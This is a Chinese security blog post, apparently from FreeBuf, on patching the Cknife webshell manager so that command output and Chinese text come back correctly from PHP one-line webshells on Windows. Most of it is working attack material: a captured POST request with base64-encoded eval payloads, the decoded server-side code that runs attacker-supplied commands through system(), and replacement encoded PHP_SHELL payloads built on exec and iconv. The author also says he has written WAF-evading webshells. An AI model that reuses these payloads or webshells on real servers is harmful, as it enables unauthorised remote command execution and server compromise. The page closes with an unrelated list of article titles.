在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。

但是使用过程中也遇到了一些小问题,被吐槽最多的就是中文乱码以及部分Windows环境shell无法回显。下面我来分析过程,解决问题:首先是shell回显问题,shell在部分windows环境中是不能执行cmd的

哇,气死人了。

昨晚写出来了配套的过狗过D盾过360一句话木马,也把Cknife的数据做了加密。

然而,这东西根本无法好好使用啊!

测试一句话(服务端):

于是给Cknife,连接shell,打开burp抓包

这是执行”whoami”时候的请求,没有返回的报文。POST /test.php HTTP/1.1

User-Agent: Java/1.8.0_121

Host: localhost

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Content-type: application/x-www-form-urlencoded

Content-Length: 598

Connection: close

a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d

本地模拟了服务端处理客户端请求的场景<?php

//客户端发送请求

$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';

$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw==';

//服务端

eval(base64_decode($_POST['a']).';');

然后Base64解码<?php

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';

eval('

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";

system($r." 2>&1",$ret);

print ($ret!=0)?"ret={$ret}":"";;

echo("|

');

这就通过短短一句话木马来做事情的秘密了。

特么的!最坑的地方知道是什么吗!我找了一晚上!

看似很正常对吧?$p = ‘cmd’;

$c= ‘whoami’; (举例)

$r="{$p} {$c}";

然后system($r);

一切都很完美吧?

那你就错了,因为

呵呵,所以shell环境是Windows的时候有可能发生这种低级问题,

你!根!本!执!行!不!了!命!令!

解决起来也很简单

明文修改部分就行了!<?php

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';

eval('

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";

$r="{$s}";

system($r." 2>&1",$ret);print ($ret!=0)?"

ret={$ret}

":"";;echo("|

');

实际操作只需要

打开c刀的Config.ini文件,查找  “php_shell=”

修改成PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d

就行了,然后重新打开一次C刀。大功告成。

这只是第一部分,回显中有中文依旧会乱码,于是就有了后半部分文章

中文乱码解决

抓包,得到数据,可以看到,本地模拟的情况下。system函数执行的回显是乱码的。

后来经过测试,是编码的问题 ,把编码修改成utf-8即可显示中文啦~

下面是具体操作

并且需要把system函数修改成exec函数,用来把回显赋值给变量

修改部分exec($r." 2>&1",$retn,$retn2);

foreach($retn as $res) {

$res = iconv("GBK", "UTF-8", $res);

echo $res;

echo "\n";

};

即可正常显示中文

修改cknife目录下的config文件中的php_shell为修改部分 PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokcz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsKJGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7CiRyPSJ7JHN9IjsKZXhlYygkci4iIDI%2bJjEiLCRyZXRuLCRyZXRuMik7CmZvcmVhY2goJHJldG4gYXMgJHJlcykgewogICAgJHJlcyA9IGljb252KCJHQksiLCAiVVRGLTgiLCAkcmVzKTsKICAgIGVjaG8gJHJlczsKICAgIGVjaG8gIlxuIjsKfTsKZWNobyAkcmV0bjI7CnByaW50ICgkcmV0bjIhPTApPyJyZXRuMj17JHJldG4yfSI6IiI7OwplY2hvKCJ8PC0iKTsKZGllKCk7

即可正常回显中文啦~

*本文作者:Lz1y,转载请注明FreeBuf.COM

c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码相关推荐

  1. bug:生产问题,Golang解决csv文件用excel打开中文乱码问题及常见编码和BOM头关系

    bug:Golang解决csv文件用excel打开中文乱码问题 1 场景及分析 场景:今天在生成csv文件之后,测试发现用office和wps打开乱码 分析:经过测试之后发现使用记事本打开不乱码,同时 ...

  2. ajax传输json数据格式乱码_解决Ajax加载JSon数据中文乱码问题

    一.问题描述 使用zTree的异步刷新父级菜单时,服务器返回中文乱码,但项目中使用了SpringMvc,已经对中文乱码处理,为什么还会出现呢? 此处为的异步请求的配置: Java代码 async: { ...

  3. php excelreader 中文,如何解决php excel reader导出excel中文乱码?

    解决php excel reader导出excel中文乱码的方法:1.如果不使用dump函数,可以通过修改[_defaultEncoding]变量解决问题:2.如果使用dump函数导出excel,需要 ...

  4. python2中文输出代码_解决vscode python print 输出窗口中文乱码的问题

    解决vscode python print 输出窗口中文乱码的问题 发布时间:2020-09-17 23:53:25 来源:脚本之家 阅读:119 一.搭建 python 环境 在 VSC 中点击 F ...

  5. php写入文本乱码,如何解决PHP用fwrite写入文件中文乱码的问题

    如何解决PHP用fwrite写入文件中文乱码的问题 发布时间:2020-07-15 13:52:07 来源:亿速云 阅读:220 作者:Leah 这期内容当中小编将会给大家带来有关如何解决PHP用fw ...

  6. ajax实现下拉列表回显,layui实现下拉复选功能的例子(包括数据的回显与上传)

    一.layui下拉复选实现的背景:实现一个管理员拥有多个权限 二. 具体实现: //依赖资源 //页面显示 角色: xm-select-search xm-select-skin="defa ...

  7. 解决@ResponseBody注解返回的json中文乱码问题

    解决@ResponseBody注解返回的json中文乱码问题 参考文章: (1)解决@ResponseBody注解返回的json中文乱码问题 (2)https://www.cnblogs.com/hu ...

  8. Activiti保存.png 流程图片文件且解决idea中保存图片时显示中文乱码的解决方法

    Activiti保存.png 流程图片文件且解决idea中保存图片时显示中文乱码的解决方法 Eclipse 工具中的操作 流程图片生成的两种方式: 使用 activiti-designer 设计流程图 ...

  9. 解决qt5在windows系统下中文乱码的问题的简单方法

    解决qt5在windows系统下中文乱码的问题的简单方法 解决方法 以utf-8格式为代表进行修改. 首先,确定自己需要的文字编码格式,并在qt的项目-编辑器里面定义 接下来,选择出现乱码的文件里面的 ...

  10. python ogr_解决python ogr shp字段写入中文乱码的问题

    首先,先确认一下你的字段值是不是乱码,如果是,按照以下方法: 我的字段值是来自于一个geojson字符串,我在对它解析时做了如下处理: properties = fea.get("prope ...

最新文章

  1. 可以获取python整数类型帮助的是什么-Python 的数值类型(整数、长整数、浮点数和复数)...
  2. Java中的nextInt()和next()与nextLine()区别详解
  3. 读书笔记 --- [基础知识点] 小结3
  4. int型 判断奇偶_XSS(Reflected) 反射型跨站攻击
  5. 洛谷找最小值c语言,洛谷 P1478 陶陶摘苹果(升级版) C语言实现
  6. 吴裕雄 实战PYTHON编程(7)
  7. webapi实现AJAX多文件上传,AJAX调用webapi上传图片或文件
  8. swoft php怎么样,[原创]Swoole和Swoft的那些事 (Http/Rpc服务篇)
  9. Mybatis参数Integer类型值为0 源码处理
  10. shell脚本中比较、运算以及格式
  11. Python[装饰器]
  12. R大 关于 G1 算法原理的解释说明
  13. 深度学习 - 生成对抗网络
  14. 1071svm函数 r语言,科学网—R中的svm - 吴锐的博文
  15. 工作站属于通用计算机吗,我们常说的工作站到底和普通电脑有什么不一样?工作站好在哪?...
  16. html输入框自动对齐,html如何设置文本框对齐
  17. 解决spark运行时控制台打印冗杂的INFO(屏蔽掉无用的INFO)
  18. Linux DPDK UIO
  19. 【气相色谱质谱联用仪】生态模拟计算运行成本和二氧化碳排放量
  20. DAL,BLL,UI,三层架构的影响

热门文章

  1. 蓝牙条码扫描枪如何选购
  2. android:digits 代码设置,EditText中android:digits失效问题
  3. 21天学通C语言-学习笔记(2)
  4. 算法图解-----十种常用算法
  5. 三创赛优秀作品_创新藏在每一个细节里———记第三届3S杯全国大学生物联网技术与应用“三创”大赛一等奖获奖作品...
  6. 新手使用GitHub客户端提交本地项目到GitHub网站详细步骤
  7. 数据规划(python实现数独自动算法之三)
  8. xx闪购—主体选项卡
  9. 计算机桌面文件自动备份取消,电脑如何取消自动备份_电脑怎么取消自动备份...
  10. 网景R6400做无线中继服务器,网件R6400刷梅林后5G掉线假死怎么办解决办法